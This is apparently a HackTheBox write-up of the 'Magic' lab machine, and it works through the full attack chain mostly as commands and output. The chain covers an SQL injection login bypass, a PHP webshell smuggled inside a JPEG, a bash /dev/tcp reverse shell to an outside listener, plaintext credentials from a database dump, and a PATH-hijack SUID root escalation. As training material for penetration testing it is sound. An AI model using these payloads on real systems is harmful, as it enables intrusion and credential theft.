Post

HackTheBox Writeup Magic

HackTheBox Writeup Magic

Magic is an easy difficulty Linux machine that features a custom web application. A SQL injection vulnerability in the login form is exploited, in order to bypass the login and gain access to an upload page. Weak whitelist validation allows for uploading a PHP webshell, which is used to gain command execution. The MySQL database is found to contain plaintext credentials, which are re-used for lateral movement. A path hijacking vector combined with assigned SUID permissions leads to full system compromise.

Recon


Hosts

1
2
3
4
5
6
7
┌──(bravosec㉿fsociety)-[~/htb/Magic]
└─$ pt init '10.129.207.97 Magic'
+---------+--------+---------------+--------+
| PROFILE | STATUS |      IP       | DOMAIN |
+---------+--------+---------------+--------+
| magic   | on     | 10.129.207.97 | Magic  |
+---------+--------+---------------+--------+

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# Nmap 7.94SVN scan initiated Thu Feb  8 17:47:25 2024 as: nmap -sVC --version-all -T4 -Pn -vv -oA ./nmap/full_tcp_scan -p 22,80, Magic
Nmap scan report for Magic (10.129.207.97)
Host is up, received user-set (0.084s latency).
Scanned at 2024-02-08 17:47:25 CST for 10s

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClcZO7AyXva0myXqRYz5xgxJ8ljSW1c6xX0vzHxP/Qy024qtSuDeQIRZGYsIR+kyje39aNw6HHxdz50XSBSEcauPLDWbIYLUMM+a0smh7/pRjfA+vqHxEp7e5l9H7Nbb1dzQesANxa1glKsEmKi1N8Yg0QHX0/FciFt1rdES9Y4b3I3gse2mSAfdNWn4ApnGnpy1tUbanZYdRtpvufqPWjzxUkFEnFIPrslKZoiQ+MLnp77DXfIm3PGjdhui0PBlkebTGbgo4+U44fniEweNJSkiaZW/CuKte0j/buSlBlnagzDl0meeT8EpBOPjk+F0v6Yr7heTuAZn75pO3l5RHX
|   256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOVyH7ButfnaTRJb0CdXzeCYFPEmm6nkSUd4d52dW6XybW9XjBanHE/FM4kZ7bJKFEOaLzF1lDizNQgiffGWWLQ=
|   256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE0dM4nfekm9dJWdTux9TqCyCGtW5rbmHfh/4v3NtTU1
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Magic Portfolio
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

# Nmap done at Thu Feb  8 17:47:35 2024 -- 1 IP address (1 host up) scanned in 10.15 seconds

Info

1
http://Magic [200] [Magic Portfolio] [Apache/2.4.29 (Ubuntu)] [Apache HTTP Server:2.4.29,Ubuntu] [3ed46a47dce0bd988ae17069390eea134acc822b]

Directory

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
┌──(bravosec㉿fsociety)-[~/htb/Magic]
└─$ feroxbuster -t 20 -w /usr/share/dirb/wordlists/common.txt -u 'http://Magic/' -o ferox_80_common.txt

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.10.1
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://Magic/
 🚀  Threads               │ 20
 📖  Wordlist              │ /usr/share/dirb/wordlists/common.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.10.1
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💾  Output File           │ ferox_80_common.txt
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403      GET        9l       28w      270c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET        9l       31w      267c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET        2l      119w    12085c http://magic/assets/js/jquery.poptrox.min.js
200      GET       88l      506w    34251c http://magic/images/fulls/2.jpg
200      GET      835l     1757w    16922c http://magic/assets/css/main.css
200      GET      587l     1232w    12433c http://magic/assets/js/util.js
200      GET       16l       41w      280c http://magic/assets/css/noscript.css
200      GET      192l     1093w    88071c http://magic/images/fulls/5.jpeg
200      GET      209l      457w    32922c http://magic/images/fulls/1.jpg
200      GET        2l       87w     2439c http://magic/assets/js/breakpoints.min.js
200      GET      490l     2867w   223637c http://magic/images/uploads/logo.png
200      GET     3315l     6597w   390337c http://magic/images/fulls/6.jpg
200      GET      118l      277w     4221c http://magic/login.php
200      GET        2l       51w     1851c http://magic/assets/js/browser.min.js
200      GET      151l      677w    68311c http://magic/images/uploads/magic-hat_23-2147512156.jpg
200      GET     6721l    34616w  2627822c http://magic/images/fulls/3.jpg
200      GET      154l      597w    47229c http://magic/images/uploads/hacked.jpg
200      GET      154l      597w    47229c http://magic/images/uploads/.png
200      GET      154l      597w    47229c http://magic/images/uploads/x00.png
301      GET        9l       28w      299c http://magic/assets => http://magic/assets/
200      GET      296l     2079w   173684c http://magic/images/uploads/magic-1424x900.jpg
200      GET        2l     1276w    88145c http://magic/assets/js/jquery.min.js
200      GET      390l      896w     8862c http://magic/assets/js/main.js
200      GET     1118l     7764w   656671c http://magic/images/uploads/trx.jpg
200      GET      255l     1421w   121103c http://magic/images/uploads/magic-wand.jpg
200      GET        0l        0w  1455770c http://magic/images/uploads/giphy.gif
200      GET        0l        0w  5289209c http://magic/images/uploads/7.jpg
200      GET       60l      228w     4509c http://magic/
301      GET        9l       28w      303c http://magic/assets/css => http://magic/assets/css/
301      GET        9l       28w      299c http://magic/images => http://magic/images/
200      GET       60l      228w     4511c http://magic/index.php
301      GET        9l       28w      302c http://magic/assets/js => http://magic/assets/js/
301      GET        9l       28w      310c http://magic/assets/css/images => http://magic/assets/css/images/
301      GET        9l       28w      313c http://magic/assets/css/images/ie => http://magic/assets/css/images/ie/
301      GET        9l       28w      307c http://magic/images/uploads => http://magic/images/uploads/
[####################] - 51s    36999/36999   0s      found:33      errors:1
[####################] - 24s     4614/4614    193/s   http://Magic/
[####################] - 25s     4614/4614    181/s   http://magic/
[####################] - 21s     4614/4614    220/s   http://magic/assets/
[####################] - 20s     4614/4614    227/s   http://magic/assets/css/
[####################] - 20s     4614/4614    229/s   http://magic/images/
[####################] - 20s     4614/4614    226/s   http://magic/assets/js/
[####################] - 21s     4614/4614    219/s   http://magic/assets/css/images/
[####################] - 20s     4614/4614    230/s   http://magic/images/uploads/

User Flag


Shell as www-data

Login bypass

http://magic/login.php

Payload : admin'; -- -

Webshell upload bypass with magic bytes

  • It only allow files ending with jpg, jpeg, png

  • If the magic bytes are not allowed, it will return What are you trying to do there?

Create a dummy jpg file for testing

1
2
┌──(bravosec㉿fsociety)-[~/htb/Magic]
└─$ convert -size 100x100 xc:white white_100x100.jpg

Append php code

1
2
3
4
5
┌──(bravosec㉿fsociety)-[~/htb/Magic]
└─$ echo '<?php phpinfo(); ?>' > phpinfo.php

┌──(bravosec㉿fsociety)-[~/htb/Magic]
└─$ cat white_100x100.jpg phpinfo.php > white.jpg

It was successfully uploaded

In normal cases, I will need to find LFI in order to execute the php code

But in this case, renaming the filename to white.php.jpg made it executable due to .htaccess’s configuration

disable_functions doesn’t blacklist system(), upload a webshell

Payload : <?php system($_REQUEST[0]); ?>

1
2
3
4
5
6
7
8
9
10
┌──(bravosec㉿fsociety)-[~/htb/Magic]
└─$ curl http://magic/images/uploads/white.php.jpg --data-urlencode '0=id' --output -
JFIFHHC





 $.' ",#(7),01444'9=82<.342
                          d??uid=33(www-data) gid=33(www-data) groups=33(www-data)

Reverse shell

1
curl http://magic/images/uploads/white.php.jpg --data-urlencode '0=/bin/bash -c "bash -i >& /dev/tcp/10.10.14.9/1111 0>&1"'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(bravosec㉿fsociety)-[~/htb/Magic/www]
└─$ nc -lvnp 1111
listening on [any] 1111 ...
connect to [10.10.14.9] from (UNKNOWN) [10.129.207.97] 39634
bash: cannot set terminal process group (1185): Inappropriate ioctl for device
bash: no job control in this shell
www-data@magic:/var/www/Magic/images/uploads$ python3 -c 'import pty; pty.spawn("/bin/bash")'
<ds$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@magic:/var/www/Magic/images/uploads$ ^Z
zsh: suspended  nc -lvnp 1111

┌──(bravosec㉿fsociety)-[~/htb/Magic/www]
└─$ stty raw -echo;fg
[1]  + continued  nc -lvnp 1111
                               export TERM=xterm
www-data@magic:/var/www/Magic/images/uploads$ stty rows 50 columns 209
www-data@magic:/var/www/Magic/images/uploads$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@magic:/var/www/Magic/images/uploads$

From www-data to theseus

Reason why jpg can execute php code

The regex that match .+\.ph(p([3457s]|\-s)?|t|tml) will be executed as php

1
2
3
4
5
6
7
www-data@magic:/var/www/Magic$ cat .htaccess
<FilesMatch ".+\.ph(p([3457s]|\-s)?|t|tml)">
SetHandler application/x-httpd-php
</FilesMatch>
<Files ~ "\.(sh|sql)">
   order deny,allow
   deny from all

Enumeration

1
2
3
www-data@magic:/var/www/Magic$ cat /etc/passwd|grep sh$
root:x:0:0:root:/root:/bin/bash
theseus:x:1000:1000:Theseus,,,:/home/theseus:/bin/bash
1
2
3
4
5
6
www-data@magic:/var/www/Magic$ find . -type f -exec ls -latr {} + 2>/dev/null
[...]
-rwxr-xr-x 1 www-data www-data     359 Sep 27  2019 ./assets/css/images/arrow.svg
-rw-r--r-- 1 www-data www-data     881 Oct 16  2019 ./db.php5
-rw-r--r-- 1 www-data www-data   59661 Oct 17  2019 ./images/hey.jpg
[...]
1
2
3
4
5
6
7
8
9
10
11
www-data@magic:/var/www/Magic$ cat ./db.php5
<?php
class Database
{
    private static $dbName = 'Magic' ;
    private static $dbHost = 'localhost' ;
    private static $dbUsername = 'theseus';
    private static $dbUserPassword = 'iamkingtheseus';
[...]
                self::$cont =  new PDO( "mysql:host=".self::$dbHost.";"."dbname=".self::$dbName, self::$dbUsername, self::$dbUserPassword);
[...]

Tried password reuse but failed

1
2
3
www-data@magic:/var/www/Magic$ su - theseus
Password:iamkingtheseus
su: Authentication failure

Dump MYSQL database

mysql wasn’t installed

1
2
3
www-data@magic:/var/www/Magic$ mysql

Command 'mysql' not found, but can be installed with:

We can use mysqldump instead to skip port forwarding

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
www-data@magic:/var/www/Magic$ mysqldump -u theseus -p'iamkingtheseus' -A
mysqldump: [Warning] Using a password on the command line interface can be insecure.
-- MySQL dump 10.13  Distrib 5.7.29, for Linux (x86_64)
--
-- Host: localhost    Database:
-- ------------------------------------------------------
-- Server version       5.7.29-0ubuntu0.18.04.1

/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;

--
-- Current Database: `Magic`
--

CREATE DATABASE /*!32312 IF NOT EXISTS*/ `Magic` /*!40100 DEFAULT CHARACTER SET latin1 */;

USE `Magic`;

--
-- Table structure for table `login`
--

DROP TABLE IF EXISTS `login`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `login` (
  `id` int(6) NOT NULL AUTO_INCREMENT,
  `username` varchar(50) NOT NULL,
  `password` varchar(100) NOT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `username` (`username`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `login`
--

LOCK TABLES `login` WRITE;
/*!40000 ALTER TABLE `login` DISABLE KEYS */;
INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng');
/*!40000 ALTER TABLE `login` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;

/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;

-- Dump completed on 2024-02-08  4:32:55

Password reuse

1
2
3
4
5
6
7
www-data@magic:/var/www/Magic$ su - theseus
Password:Th3s3usW4sK1ng
theseus@magic:~$ id
uid=1000(theseus) gid=1000(theseus) groups=1000(theseus),100(users)
theseus@magic:~$ cat ~/user.txt
eb411e445db3b36a33ef1eff40b1ed2c
theseus@magic:~$

Root Flag


From theseus to root

SUID - Path injection

I noticed the abnormal group users, the only binary it owns was /bin/sysinfo that have SUID set as root

1
2
theseus@magic:~$ find / -type f -not -path "/proc/*" -not -path "/run/*" -not -path "/sys/*" -not -path "/var/lib/*" -group users -ls 2>/dev/null
   393232     24 -rwsr-x---   1 root     users       22040 Oct 21  2019 /bin/sysinfo
1
2
theseus@magic:~$ file /bin/sysinfo
/bin/sysinfo: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=9e9d26d004da0634c0747d16d377cd2a934e565a, not stripped

After running it, it just gathers a bunch of system information

1
2
3
4
5
6
theseus@magic:~$ /bin/sysinfo
[...]
====================MEM Usage=====================
              total        used        free      shared  buff/cache   available
Mem:           3.8G        586M        1.8G        6.8M        1.5G        3.0G
Swap:          1.0G          0B        1.0G

Debug with ltrace, it have setuid(0) that gives root for current context

And popen() calls a binary without full path, so I can do path injection

1
2
3
4
5
6
7
8
9
10
11
theseus@magic:~$ ltrace /bin/sysinfo
_ZNSt8ios_base4InitC1Ev(0x556a0c1ef131, 0xffff, 0x7ffcb0411568, 128)                                                             = 0
__cxa_atexit(0x7fda9b52ba40, 0x556a0c1ef131, 0x556a0c1ef008, 6)                                                                  = 0
setuid(0)                                                                                                                        = -1
setgid(0)                                                                                                                        = -1
_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc(0x556a0c1ef020, 0x556a0bfed8f8, -160, 0)                                 = 0x556a0c1ef020
_ZNSolsEPFRSoS_E(0x556a0c1ef020, 0x7fda9b59b870, 0x556a0c1ef020, 0x556a0bfed92d====================Hardware Info====================
)                                                 = 0x556a0c1ef020
_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1Ev(0x7ffcb0411430, 0x556a0bfed92e, 0, 2880)                               = 0x7ffcb0411440
popen("lshw -short", "r")                                                                                                        = 0x556a0d435280
fgets(WARNING: you should run this program as super-user.

Since the popen() have "r" argument, I will not get interactive shell

Give bash SUID instead

1
2
3
4
5
6
theseus@magic:~$ cp /bin/bash /tmp/b
theseus@magic:~$ echo -e '#!/bin/bash\nchown root:root /tmp/b && chmod +s /tmp/b' > /tmp/lshw
theseus@magic:~$ chmod +x /tmp/lshw
theseus@magic:~$ export PATH=/tmp:$PATH
theseus@magic:~$ /bin/sysinfo
[...]
1
2
3
4
5
6
7
8
theseus@magic:~$ ls -la /tmp/b
-rwsr-sr-x 1 root root 1113504 Feb  8 04:50 /tmp/b
theseus@magic:~$ /tmp/b -p
b-4.4# id
uid=1000(theseus) gid=1000(theseus) euid=0(root) egid=0(root) groups=0(root),100(users),1000(theseus)
b-4.4# cat /root/root.txt
c8321a307c3248704ac285978a1bfb53
b-4.4#

Additional


This post is licensed under CC BY 4.0 by the author.